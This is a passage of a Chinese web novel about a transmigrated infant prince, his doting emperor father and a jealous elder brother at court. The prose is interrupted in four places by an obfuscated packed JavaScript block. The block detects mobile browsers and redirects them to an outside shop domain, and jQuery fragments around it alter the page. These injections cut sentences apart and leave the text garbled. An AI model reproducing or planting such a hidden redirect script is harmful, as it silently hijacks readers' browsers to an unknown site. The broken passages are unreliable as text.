怀里的玉团子啊呜了一声,两只小手还想去抓,燕决明伸出一只食指顶住了燕令雪的脑门。
这种温馨的父子互动场景,影一虽看过很多遍,但每次见到都忍不住惊奇,因为燕决明从未在他们眼前露出过这种温柔的神色。
陛下大多时候是一副冷冰冰的模样,偶尔笑两声,那也是被身边的奇葩气笑的。
燕决明感受着指尖温热的触感,看着坐在他身上气鼓鼓的小孩,心情感到愉悦的同时,也忍不住想,他到底为什么会对这个孩子如此上心。
或许是燕令雪是从他的身体里出来的,而他曾经清晰地感受着这孩子在他的身体里慢慢长大,从小小的胚胎到心脏手脚,一点点变成了如今的小团子。
明明他曾经恨不得对方消失,可现在呢,燕令雪流着口水他都觉得对方可爱。
真是疯了。
燕决明此时此刻才总算是明白,为什么绝大部分母亲都会无条件对自己孩子好。
那是一种血脉相连的情感,因为孩子是从他身体里剥离出来的,如同他的半身,就好像世界上只有这个孩子和他最密不可分。
真是矫情的情感。
他居然有朝一日,也会真心实意地喜欢一个孩子。
燕令雪哼唧几声,揉了揉眼睛,他此时正坐在燕决明腿上,于是他自然而然地将脑袋埋进了燕决明的腹部。
小小的,温暖的躯体蜷缩在燕决明腿上,燕决明分明不喜欢他人触碰,但燕令雪的举动,反而让他感到安心。
燕令雪有些困,小孩子的身体格外容易困。
他怀疑自己一天十二个时辰,有十个时辰都在睡,他小小地打了个哈欠,脑袋瓜蹭了蹭燕决明,在对方身上找了个舒服的位置,准备小憩一会儿。
转眼间,他就看见汇报完任务的影一,咻地一下,平地起飞。
燕令雪那点困意瞬间消散,居然真能飞……
他不可思议地眨巴这眼睛。
不到三秒钟,燕令雪就下定了决心,他长大了也要学轻功!
谁不想会飞,反正燕令雪想。
刚刚还窝在燕决明腹部的孩子突然精神了,指着甘泉宫殿内上方呜呜哇哇一阵叫唤。
小孩子一双黑漆漆的眼睛里,满是惊奇。
燕决明挑了挑眉,“影一,你下来。”
影一不明所以,但仍旧乖乖地从梁上跳了下来,他身姿轻盈,落地没有丝毫声响,“陛下有何吩咐?”
燕决明将燕令雪抱到书桌上,对影一说:“飞上去。”
影一:“?”
虽然不懂,但他仍旧照做。
没了遮挡燕令雪这下亲
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17822674|211192||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
眼见证了一个普通人类,是如何旱地拔葱飞上天的,只见影一轻轻一跳,腰身转动,便原地消失不见。
燕令雪觉得厉害,又觉得有趣,很给面子地拍了拍手,咯咯直笑。
这是他第一次做出拍手的动作,燕决明有些稀奇,于是他又把影一喊下来了。
“继续飞。”
燕令雪:啊?
这是看他高兴,所以让影一来哄他吗?燕令雪很感动,但站在打工人的视角真的很过分,爹,我也没那么想看,你别让影一飞了。
影一看出来燕决明是在逗燕令雪玩,他没觉得有什么,严格遵守主人的命令是暗卫的人生准则,更何况他也不想站在房梁上一动不动,只是飞几下逗殿下开心花的力气,还没他训练时千分之一多。
而且,小殿下真的很可爱。
长得像个白团子,眼睛大大的。
他喜欢可爱的东西,比如小猫,或者小狗。
影一动了动指尖,看着燕令雪柔软的脸颊肉,他有点想摸。
燕令雪指着影一,又扯了扯燕决明的袖子,嘴里叽里咕噜地,示意让影一停下来。
“你还想看?”燕决明误会了他,“影一,继续飞。”
燕令雪哇地一声指责燕决明。
他最讨厌这种压榨下属的老板了!
影一飞得更卖力了。
燕决明被燕令雪扯住袖子,小孩气呼呼地用没牙的嘴咬住燕决明的手指,再次糊了对方一手的口水,燕决明终于明白了他的意思,“不想看了?”
燕令雪艰难地做出一个点头的动作。
燕决明摆摆手,影一心里有些遗憾,是他飞得不够高吗?怎么又不喜欢了。
燕令雪看影一离开,悄悄松了口气,但这么一闹,他那点困意都被打散了。
燕令雪不想睡觉了,可他也不想闷在宫里,他扯着燕决明的袖子,指了指殿门。
这次燕决明懂了,“想出去玩?”
燕令雪哼唧了一声,表示他猜对了。
“好。”燕决明也觉得这些时日燕令雪一直在甘泉宫待着,恐怕闷得慌,“朕带你去御花园逛逛。”
12. 燕瑾
已是春末,御花园的牡丹开的正艳,燕决明抱着燕令雪在园中闲逛,身后跟一众宫人专门服侍燕令雪。
李德旺更是夸张,手上不仅拿着扇子替他扇走御花园的蝴蝶蜂蜜,还随时带着手帕替他擦手,毕竟燕令雪这个年纪对什么都好奇,花要抓,蝴蝶也要抓,就连地上的石头看中了,都要咿咿呀呀念个不停,非要让燕决明捡起来塞到他手里才肯罢休。
燕令雪没想到会有这么多人跟着,一群人围着他转,燕令雪眼睛都花了,水喝吃食都是提前备好的,让人在后面端着,还有人专门替他擦汗。
有点太夸张了吧。
燕决明可不会娇惯孩子,宫里其他几个皇子若是如此娇惯,是要被燕决明罚跪抄书的。
但燕决明就是默认李德旺这么做了。
他居然对此没有任何意见,实在是有些反常。
燕令雪捏着手里的花,突然发现,燕决明对他好像有点太特殊了。
燕令雪刚出生的那几天,还以为燕决明过不了多久就会把他送走,让他自生自灭,结果燕决明不仅没有送走他,还亲自养在身边,吃穿用度无一不精。
燕令雪离开他睡不着,燕决明嘴上说着麻烦,仍旧老老实实地亲自抱着他哄睡。
燕令雪起初只觉得燕决明对他好。
可现在却觉得,燕决明对他好过头了。
察觉到这点的燕令雪花也不要了,他转而看向燕决明。
小孩子如黑水晶一样的双眼亮晶晶地望着他,燕决明垂眸,“看朕做什么?不想——”
话还没说完,燕决明的脸上突然多了个口水印,帝王的眼睛微微睁大,原本平静的面容染上了些许错愕。
燕令雪亲了亲燕决明的脸。
他不会说话,便只能用这种方式表达对燕决明的喜欢。
其实在燕决明没对他下死手那刻,燕令雪就已经将对方当成了自己亲爹或者说亲娘,燕决明一个皇帝能够生下并且接受他,燕令雪已经很感激了。
他不敢奢求更多。
但对方真的接受了他。
燕令雪上辈子到死都没有得到的东西,燕决明就这么轻而易举地给了他。
燕决明回过神,伸手摸了摸自己的侧脸,湿漉漉的,尚且留着孩子的口水印,燕决明只觉得心脏像是被泡在温水里,嘴上却只是轻笑着:“糊朕一脸口水还乐个不停,真是胆大妄为。”
李德旺捂着心口唉哟几声:“小殿下果真是喜欢极了陛下,谁说孩子小不懂事,奴才看小殿下分明知晓是谁待他最好,不然怎么会如此亲近陛下。”
“好了,李德旺。”燕决明又将怀里的孩子抱紧了些,“安静点,你太吵了。”
他嘴上这么说着,眼底却是带笑的。
李德旺当即笑着弯腰告罪,“是,是奴才多嘴了。”
燕令雪哇啊地叫了一声。
他爹嘴上说他胆大妄为,心里明明很开心嘛。
燕令雪不由的在心里吐槽:口嫌体正。
他在甘泉宫闷久了,好不容易能出门,自然是要玩个够。
燕令雪嘴里一边嘟囔着,一边将手里的鹅卵石抱在怀里,没办法他眼下就是小孩子心性,便是看石头都觉得有趣。
“宫里那么多宝石不玩,偏偏捡块石头当宝贝。”燕决明很想把这石头扔了,但看燕令雪抓着不放手,忍了又忍,最终也只是嘴上说了两句。
燕令雪心想,你不懂,这块石头色泽光滑,和其他石头不一样,漂亮的宝石常见,漂亮的石头可少有。
燕令雪不理他,认真地把玩着手里的石头,燕决明突然停下了步伐,燕令雪下意识抬头,发现张皇后不知何时出现在了御花园,身边还跟着一个孩子,那孩子约莫五六岁,一双眼睛黑沉,正直勾勾地看着燕令雪。
燕令雪手上的石头吧嗒一下落到地上,张皇后育有两子,分别是大皇子燕瑾和三皇子燕旻,三皇子现在这个时间点才三岁,那这个孩子,必然是燕瑾无疑。
想到原著燕瑾做的事,燕令雪怕得不行,这人小时候就敢对亲弟下死手,长大了更是暴戾无度,有宫女在宴会上斟酒时不慎弄脏了燕瑾的衣服,燕瑾当时没说什么,等宴会结束回到宫中,当即命人将那宫女乱棍打死。
再加上,燕瑾这人极度渴望得到燕决明的认可,偏执到但凡燕决明多看其他皇子一眼,都会遭到燕瑾的疯狂报复,若不是其他皇子也不是省油的灯,燕瑾早就把后宫的皇子杀了个干净。
但是小时候的燕瑾没那么偏执,燕令雪窝在燕决明怀里,心说不会吧,燕瑾现在才多大,应该不至于盯上他吧。
他看着燕瑾黑沉的眼神,只觉得欲哭无泪。
这一看就是盯上他了。
燕决明的偏心,燕令雪这个当事人都能感受得到,更何况心思敏感的燕瑾。
在燕令雪畅想的未来里,压根就没有争夺皇位的想法,他只想当个闲散王爷,顺便帮他爹解决一下剧情杀,然后逍遥快活地渡过一生。
燕令雪没那么大的报复和理想,他这个人最怕麻烦了。
现在好了,燕令雪想,他得重新规划一下他的未来了。
果然人变小了,思想也变天真了,燕瑾的出现反而点醒了燕令雪。
抛开燕瑾不谈,其他几个皇子也不是省油的灯,就算燕令雪未来不想斗,也势必会被人逼着趟进这趟浑水。
陡然想清楚后,燕令雪哇地一声在燕决明怀里挣扎起来,命好苦,他真不想跟那几个神经病斗啊。
张皇后上前行了一礼,温声道:“今日园中的牡丹开得不错,臣妾便带着瑾儿过来看看,未曾想竟在园中偶遇陛下。”
她一早就打听到,皇帝正抱着七皇子在御花园玩乐,彼时距离燕令雪回宫已经过了六个月,这六个月燕决明对燕令雪的喜爱丝毫未减。
张皇后当然坐不住了。
燕决明随口嗯了声,怀里刚刚还乖巧的孩子突然开始挣扎,他原以为是燕令雪玩累了想回去,却见燕令雪突然朝李德旺张开了手。
燕令雪哪敢当着燕瑾的面心安理得窝在燕决明怀里,他多在燕决明怀里待一秒,燕瑾未来报复他的手段就更上一层楼。
李德旺当场汗流浃背,抱也不是,不抱也不是。
燕决明冷笑,搞了半天是不想让他抱,好,今天晚上燕令雪别想抓着他的头发睡觉。
燕令雪最终如愿以偿地
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17822675|211192||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
被李德旺抱起。
张皇后看燕决明语气敷衍,便转移了话题,“有些时日没见七皇子,倒是胖了不少。”
燕决明这才接话,“朕倒觉得他瘦了些。”
张皇后表情一僵,她扫了眼李德旺臂弯里粉雕玉琢的孩子,一看就知道是精心照料着长这么大的,可燕决明反而觉得瘦了,这说明陛下对七皇子的重视程度远超他们的想象。
一旁的燕瑾仍旧死死地望着燕令雪,燕令雪只能假装自己玩自己的手指,完全不敢和燕瑾对视。
他上辈子虽然过得苦,但安全至少能够得到保障,什么杀人放火的事,一个也没遇到过。
一想到原著里被燕瑾乱棍打死的宫女,燕令雪就愈加害怕。
燕瑾打量着燕令雪,他想不通这个孩子到底哪里值得燕决明的喜爱。
他以为燕决明只喜欢聪明有能力的孩子,可现在看来,好像并不是这样。
燕令雪看上去并不聪明,和除了长得好看些和普通的孩子没有任何的区别。
这让燕瑾非常不爽,他拼尽全力才让父皇对他的关注多了那么一点,燕令雪一出生就能够让父皇宠爱至此。
这实在是不公平。
“父皇。”燕瑾仰着头,“儿臣能抱抱弟弟吗?”
这样下去不行,父皇对燕令雪太特殊了,又一直养在身边,时间长了,感情只会越来越好。
他望着燕令雪,想,如果燕决明非要偏宠一个孩子的话,他也能接受,前提是,那孩子是个残疾……
他说这话时,一行人正在御花园的亭子里歇息,燕决明懒洋洋地倚在木栏上,一只手托着脑袋,闻言他瞥了燕瑾一眼。
燕瑾眨巴着眼睛,一副乖巧的模样,仿佛他真的只是单纯对刚出生几个月的弟弟好奇。
燕令雪心里咯噔一下,嘴里啊啊地表示拒绝。
他担心燕决明真的点头同意。
毕竟燕瑾眼下只是个孩子,他干的事情在燕决明这个暴君眼里恐怕只是小打小闹。
燕决明搞不好压根不知道燕瑾本性到底如何。
“可以。”
听到这两个字,燕令雪吓得头发都竖起来了,眼见着燕瑾伸出手真要抱他,燕令雪赶忙挣扎,表示抗拒。
下一秒,他听见燕决明用很平淡的声音说:“不过,若是你弟弟出了半点差池。”
燕决明坐起身,神色不悦地眯了眯眼睛,“朕就砍了你的手。”
周围的声音一静。
就连燕令雪都呆住了。
宫人们哗啦一下跪了一地,张皇后拉着燕瑾跪在地上,“陛下息怒,瑾儿他心地善良,应当只是想和弟弟亲近,不知是何处让陛下误会了……”
“误会?”燕决明没起身,声音没有半点起伏,他望着跪在地上的燕瑾,轻声道:“你倒是会替他辩驳,怎么,真当朕是个傻子,对这后宫里的事情一概不知?”
燕瑾被张皇后按在地上,听见燕决明的话,他猛地握紧了拳头。
张皇后自然知晓她的儿子做了什么,只是她一直以为,燕决明不在乎。
这下看来,不是燕决明不想在乎,而是不在乎除了七皇子以外的孩子。
13. 偏爱
燕决明毫不掩饰他的偏心,他起身重新将燕令雪抱在怀里,这次燕令雪没有挣扎,燕决明明显向着他,那他有什么好怕的。
所有人都跪着,屏住呼吸一动也不敢动,燕瑾被张皇后按着脑袋,额头和地面相触,眼底是抑制不住的惊愕。
为什么,为什么父皇会对燕令雪如此上心?
燕瑾不明白,他用了那么多手段才得到燕决明一点关注,凭什么燕令雪一出生就能得到。
他们跪着,而燕令雪坐在燕决明的手臂上,光明正大地俯视着他们。
那一刻燕瑾不爽到了极点,明明他也是燕决明亲生的孩子,甚至还是嫡长子,燕令雪不过是个下等人生出来的孩子,一个没有母亲,没有地位的庶出皇子,凭什么能得帝王青睐。
哇,好多后脑勺。
燕令雪眨巴着眼睛,两只手搂着燕决明的脖子,四处张望,燕决明一替他撑腰,燕令雪立马就不怕了。
这就是当皇帝的好处,皇帝说什么就是什么,没人敢反驳,心里再不满也得咽下去。
张皇后慌忙道:“陛下,瑾儿真的只是想抱抱他弟弟,绝无其他念头,请陛下明察。”
燕瑾垂着脑袋一言不发,他到底是个孩子,尚且不能很好地控制住自己的情绪,只能竭力忍耐。
燕决明懒得和他们废话,“李德旺,回宫。”
“是,陛下。”
燕决明抱着燕令雪转身就走,李德旺笑眯眯弯着腰低声朝跪在地上的燕瑾道:“殿下这个年纪,还是莫要心急,有的东西是急不来的,不该是你,就是抢也抢不过来,反而是引火上身啊。”
李德旺早就不满皇后一派久已,他们陛下尚且年轻,立任太子一事本就是大事,更何况几个皇子尚且年幼,陛下摆明了不想太早拟定太子位,皇后一脉几次三番地明里暗里地暗示燕决明,让燕瑾入主东宫。
真的一群傻子,一群被权利蒙蔽了双眼的傻子。
现在立的太子,不就是活靶子吗?
燕决明还年轻,时间还长,这么长的时间能变的可就太多了,你今天是太子,明天就能变成个死人。
这位大皇子还是太自信了,太小了,以为全天下所有人都该围着他转。
李德旺冷笑,哪有这么好的事,这天下未来是围着他们七殿下转的,还嫡长子,他们七殿下才是货真价实的嫡长子。
——
宫里瞒不住消息,御花园的事情很快传遍了全宫上下,当然也传到了周太后的耳朵里。
洛子千不出意料的再次被周太后迁怒。
“陛下倒是毫不掩饰对那孩子的偏爱。”周太后气得药都喝不下去了,“真是奇事,以往哀家怎么没见他对哪个孩子这么上心呢?身为皇帝,竟是偏心至此,连瑾儿这个孩子也要防着?就七皇子是他亲生的,瑾儿不是?”
周太后心软,本就对燕决明养孩子的方式,颇有微词,宫里几个皇子她瞧着都好,不是她对燕令雪有意见,而是燕决明这种偏心法实在是落人口舌,对燕令雪来说也不是什么好事。
周太后深吸一口气,云碧将手里泡好的茶递给她,“太后娘娘息怒,小殿下刚出生,又没有生母,陛下有些许偏心也正常。”
周太后喝了口茶,对着洛子千道:“你回去告诉你们家陛下,这后宫里的人精着,太过偏心一个孩子,对那个孩子反而不好。”
洛子千犹豫片刻,“太后娘娘,陛下是您的孩子,为什么要说你们家?陛下不是我们家的。”
空气安静了一瞬,慈宁宫的宫人意识到洛子千说什么后,纷纷垂下头,忍着笑,云碧没忍住,轻笑着捂着唇。
这位洛大人的脑回路一向清奇,但她没想到有人真的能够做到,在太后娘娘面前,还能如此不做作且认真地答非所问。
“哎呀——”周太后气得胸口痛,她怀疑燕决明把这人塞她宫里,不是为了替她治病,而是存心塞进来给她添堵的,“洛子千,你是不是听不懂哀家说的话?”
洛子千不懂他们在笑什么,只是老实回答,“听懂了,太后娘娘是担心陛下对七皇的偏心,为七皇子引来杀身之祸,但如今四境兵权皆在陛下手里,但凡长眼睛都不敢对七皇子下手。”
“哼——天真。”周太后冷笑,“世界上总有几个不怕死的,而这个世界上,也总有几个恨不得皇帝早点死的,你以为我说的单指大周国内?恨皇帝的人能绕洛京城排一圈,他们杀不了皇帝,就会拿皇帝的最爱的孩子开刀。”
“罢了。”周太后揉了揉眉心,“他能这么喜欢这个孩子,也是出乎哀家的意料,方才的话,也是有些严重,哀家也知晓以陛下的能力,不可能连个孩子也护不住。”
“可明枪易躲暗箭难防,难保某天不会出现差池,真到那天,皇帝后悔也来不及,今日哀家同你说的话,你且仔细告诉陛下,让他在明面上且勿太过偏心于七皇子,还有,别说是哀家说的。”
洛子千点头应下,“但陛下应该知道微臣说不出来这种.....这种复杂的话。”
周太后从贵妃榻上坐起,她看着洛子千那张没什么表情的脸,简直气笑了。
她只是在和皇帝冷战,周太后做不到和燕决明母慈子孝,却也无法真的对自己亲生儿子和亲孙子不管不顾,燕决明难道不清楚这些话是谁说的,大家都心知肚明,只不过不是不想捅破那层窗户纸。
洛子千这个脑子能在燕决明身边呆这么久,纯粹是因为这个傻子在别的方面能力太强,否则以洛子千这个情商,早就被燕决明拖出去乱棍打死了。
“哀家让你怎么做你就怎么做。”人气到这种程度,是感觉不到愤怒的,周太后暗自嘀咕,皇帝身边都是些什么人啊,她每天和洛子千说话都觉得折寿。
谁料洛子千还没完没了了,“但陛下应该不会听,陛下谁的话都不会听,如果陛下他——”
周太后彻底气疯了,她拿着手里的茶盏就要砸向洛子千,最后被云碧拦下,“你,你给哀家滚......走出
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17822676|211192||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
慈宁宫!!!”
怕洛子千真的滚出去的周太后临时改了口。
一时间气势全无,周太后觉得好笑的同时,又觉得命苦,上次她说不想看到洛子千的脸后,洛子千每次见她都要蒙面,只到周太后无法,让他把面纱摘了才作罢。
这人脑子怎么长的?
周太后看着洛子千稳步走出慈宁宫,彻底没脾气了,云碧这丫头倒是笑得欢脱,周太后没好气道:“死丫头,还笑,哀家真是.....从没见过这种人,哦,还有个刘其显,也是个怪人说两句就哭,一个武将天天哭哭啼啼的,真不知道陛下是怎么看中他们的。”
云碧轻笑着说:“洛大人医术高超,刘将军未及弱冠之时便能以一当百,从荼兰人手里夺下幽州,他们只是性格古怪了些。”
周太后:“也不知道他从哪里搜罗过来的一帮牛鬼蛇神。”
云碧替她捏着肩膀,“不过太后娘娘真的不想去看看七殿下,奴婢听甘泉宫的宫人说,七殿下生得很是玉雪可爱。”
周太后闭着眼睛:“他喜欢的孩子,能是什么好孩子,不去。这后宫里好看的孩子还少吗?”
“您真不去?”
“不去。”
“您之前不还一直等着陛下把七皇子送过来给您养吗?”
“哼,说得像哀家巴不得帮他养孩子一样。”周太后不为所动,“哀家不缺可爱皇孙,一个小孩,有什么好看的。”
她见不得皇帝偏心成这样,连带着对燕令雪都颇有微词。
——
燕令雪打了个喷嚏,他坐在床上,手里抓着几只布艺老虎,玩得正开心呢,却总觉得背后凉飕飕的,总感觉自己风评被害是怎么回事。
见他打喷嚏,李德旺吓得乱叫,“哎哟我的小殿下,怎么这是,着凉了?”
燕决明一个皇帝不可能时时刻刻陪在他身边,但李德旺太爱大惊小怪了,燕令雪只是个喷嚏都吓得他不行。
燕令雪摇摇头,表示没事。
孩子认真地抓着手里的小老虎,玩得不亦乐乎。
但燕决明不在身边,他总归是觉得无聊,认真玩了没一会儿,便觉得无趣。
他怎么还不长大啊。
燕令雪捏着老虎,一边唾弃着自己幼稚,但是身体很诚实地嘿嘿直笑,小孩子的身体对他影响巨大,虽然他的大脑偶尔会思考一下高深的问题,但大部分时间也会像普通孩子一样幼稚。
他说不了话,也不能走路,虽然有一群人哄着他玩是不错,可在知道剧情的情况下,燕令雪这个焦虑性人格一旦安静下下来,又忍不住发愁。
首先,他要改变燕决明的未来,其次他还要想想怎么在一众变态皇子里活下来,虽然燕决明肯定保他,但燕瑾已经记恨上他了,保不齐哪天发疯,冒着九族的消消乐的风险也要杀他呢?
龙床上的雪团子吧唧一下倒了下去,圆嘟嘟的脸蛋上写满了不符合年龄的忧愁。
哎,他的未来,一片黑暗。
14. 爹……爹
燕令雪虽然大脑在焦虑,但身体很诚实,每天吃了就睡,睡了就吃。
不是燕令雪不想干正经事,而是他话都不会说,路也不会走,啥事都干不了。
就这样又过了两个月,燕令雪十个月大了,慢慢地能扶着东西走路。他还记得他第一次从床上站起来那次,燕决明正在一旁处理公务,抬头用余光扫到站在摇车里的燕令雪时,这位暴君惊得连奏折都拿不稳,眼神惊疑不定,围着燕令雪看了许久,才高兴地笑出声。
虽然燕令雪也不知道这有什么值得高兴的,但依旧会为了逗燕决明开心时不时下地走两步,不过他现在也只能走两步就是了。
燕决明最近很忙,燕令雪见到他的时间越来越少了,他的存在估计给燕决明添了不少麻烦,只是他待在甘泉宫里,所有会伤害到燕令雪的东西,都被燕决明拦在外面。
因为燕决明不在,燕令雪每天午睡都睡得不踏实,闻不到燕决明的气息,燕令雪容易闹觉,他也不想哭,可就是控制不住。
真是奇怪了,燕决明在的时候,燕令雪觉得甘泉宫哪里都好。
可对方一走,燕令雪便觉得甘泉宫大得吓人,四周空荡荡的,一旁的书案上没有人,侍女们都规规矩矩地低着头不说话,而他只能抱着小毯子,一个人缩在摇车或者龙床上,只有大宫女翠荷以及李德旺会陪着他说话。
起初燕令雪还觉得有趣,翠荷是个很温柔的人,很会哄他开心,而李德旺又一贯会拍马屁,燕令雪就吃这套。
他刚开始还乐得出来,而后他发现燕决明回来的时间越来越短,燕令雪再也高兴不起来了。
燕令雪抽抽噎噎地眼睛一眨又要哭,翠荷动作娴熟地把他抱起来哄,“小殿下,不哭不哭,陛下忙完很快就会回来的。”
李德旺也在旁边搭话,“陛下马上就回来,小殿下睡一觉,醒来就能看到陛下了。”
骗人,明明有时候他睡醒了也见不到人。
翠荷也没办法,燕令雪黏燕决明黏得紧,哭起来除了燕决明,谁也哄不好。
燕令雪真想哭的时候,反而不会大声嚎,他抓着自己的小毯子,缩在翠荷的肩膀上,小声啜泣。小孩子皮肤白,一哭眼尾红彤彤的,原本亮晶晶的眼睛里盛了一汪水,看着好不可怜。
翠荷瞧见燕令雪这样,心里不好受,“李公公,陛下什么时候回来,小殿这些时日没见过陛下几面,他出生起就是陛下带,孩子陡然见不到亲近的人,是会伤心的。”
李德旺也没招:“那怕是要到晚上了。”
燕令雪是想睡觉的,却因为燕决明不在身边,导致他一点安全感也没有,他想他爹了。
“来,小殿下,看小老虎。”翠荷抱着怀里的小孩,心里也跟着难受,这么可爱的孩子,哭起来安安静静的,就显得格外惹人心疼,李德旺拿着拂尘逗他,燕令雪不领情,两只小手抓着小毯子,遮住脸把脸埋在小毯子里哭。
李德旺和翠荷两人轮流哄了会儿。
不多时燕决明回来了,身后还跟着两个人,一个是刘其显,另一个燕令雪不认识,但他的注意力压根没放在这两人身上。
他只看到了燕决明。
李德旺和翠荷顿时如蒙大赦,燕令雪见到燕决明回来,也不哭了,张开双臂就要燕决明抱。
小孩子柔软温热的身体落入燕决明的怀抱,竟让他生出几分踏实感,“哭什么。”
燕决明擦去小孩的眼泪,看他手里拽着小毯子,知道他是要睡了,便熟练地拍着小孩的背哄睡。
刘其显和身边的那名年轻男人眼睛一眨不眨地看着这一幕,表情活像是在看太阳从西边升起,简直见鬼了。
“陛下这么着急赶回来,就是为了哄小孩睡觉啊。”年轻男人嬉笑着打趣燕决明的,“真是没想到,传言居然是真的。”
一到燕决明怀里,燕令雪立马安静下来,他好奇地看着眨巴着眼睛盯着这位从没见过的陌生男人,正想这人是谁呢,燕决明皱眉道:“谢若鹤,你能不能给朕安静点。”
谢若鹤立马闭嘴。
听见这个名字,燕令雪立马知晓这人的身份了,内阁首辅谢若鹤,在燕决明还是皇子时,谢若鹤是他的伴读,此人原本是靖远侯府的嫡次子,后入学宫遇到了燕决明,这人从小就聪慧过人,一眼看出燕决明的野心,当年皇位之争如火如荼,谢若鹤毫不犹疑地站在了燕决明这边。
这人十九岁参加科举,高中状元,燕决明登基第一件事,就是火速提拔他,随后慢慢将朝中旧臣一一替换。
因此,谢若鹤这个内阁首辅的名头,有部分朝臣并不认可,认为他不过是仗着燕决明才站到这个位置。
谢若鹤完全不在意,那又怎么样,鬼晓得他和刘其显为了能让燕决明坐上这个皇位花了多少努力,这是他应得的。
正是因为谢若鹤从小和燕决明一起长大,知道燕决明对外心狠手辣,但对自己人格外宽容,加上他们两人实在是太熟了的缘故,谢若鹤在燕决明面前没那么拘谨,当然仅限私下。
刘其显也好奇地和燕令雪四目相对,小孩子看着软乎乎的,小小一只趴在燕决明的肩膀上,浑圆的眼睛里倒映出他的影子,刘其显摸了摸鼻尖,“小殿下真可爱。”
燕令雪听刘其显夸自己,很得意地嘻笑了一声,一旁的谢若鹤哈哈大笑。
这几天抚州水患死了不少人,燕决明往下查,还查出一堆贪污的蠹虫。
这件事麻烦得要命,他这才没时间顾及燕令雪,他总不能带着燕令雪下诏狱吧,只能委屈燕令雪一个人睡了。
结果回来了,这小孩又不睡了。
“睡不睡?”燕决明把燕令雪举起来,“不睡朕就走了啊。”
燕令雪吓得立马闭上眼睛,嘴巴一瘪,满脸写着不高兴。
翠荷见状连忙阻止:“陛下,不能这么吓小殿下,小殿下听得懂的,他这几天很想陛下,睡觉都要等陛下回来,每次都是坚持不住了才睡下。”
燕决明闻言,小心地把怀里的孩子抱得更紧了,听见燕令雪这么依赖他,燕决明心一下就软了,“罢了,不想睡便不睡。”
反正刘其显和谢若鹤都是自己人,抚州的水患处理了大半,剩下的事,他抱着燕令雪同他们议事也未尝不可。
御书房内,燕令雪坐在燕决明的腿上,听着三人的聊天,半天一句话没听懂。
人名地名太多,期间又夹杂着各种官名,燕令雪的小脑袋瓜处理不了这么多复杂的消息。
但他也不无聊,一会儿摸摸毛笔,一会儿站在燕决明身上抓对方的头发玩。
刘其显:“抚州的事情算是解决了,还有一事微臣要向陛下禀报。”
燕决明扶着燕令雪,任由他在自己身上蹦跶,“说。”
刘其显低头:“国师昨夜于西趾去世。”
燕令雪不蹦跶了,这个他知道,《天下》这本书里带点奇幻色彩,就比如大周国师是真能未卜先知,擅长推演之术,只是历代国师命短,每任国师去世后,会将国师的位置传给自己的徒弟,无须皇权干
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17822677|211192||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
涉。
而历代国师也十分自由,就算是想游历天下,皇帝都无法阻拦,除非国运动荡,否则国师玩嗨了不回来,都是没问题的。
当然也有那种,兢兢业业一辈子待在聆天司不出去的国师。
燕决明微微皱眉,“怎么死的?”
刘其显:“病逝,新任国师已继位。”
燕决明不信鬼神之类的东西,对于推演秘术,也不大想信,但他也必须得承认,历代国师是真有几分本事,至少在大事上从不出错,所以聆天司的事情,燕决明基本不插手。
毕竟除了国师,聆天司也没几个人。
燕决明:“罢了,聆天司的事情朕不想管。”
也没什么好管的,国师地位高,却没有实权,也不能和朝中大臣有任何牵扯,完全不构成威胁。
燕令雪呜哇了一声,怎么就不管了,爹,新任国师是个大宝贝啊。
新任国师比以往的那几个国师都邪乎,行兵打战有奇效,原著中燕决明死后,这位新国师很快就被主角挖走,替主角排兵布阵,争战天下,可以说主角后期能一统天下,有一半都是这位国师的功劳。
可惜燕决明没察觉到燕令雪的暗示,他以为燕令雪无聊了,便随手拿了个印章逗他玩。
燕令雪:……好吧,等他长大了再想办法吧。
谢若鹤摸摸下巴,“我倒是好奇新任国师性格如何,不会像上一任国师那样,整天想着游山玩水还拿俸禄吧,这多不公平。”
谢若鹤爱钱,同时仇富,更讨厌不务正业还能白拿钱的货色。
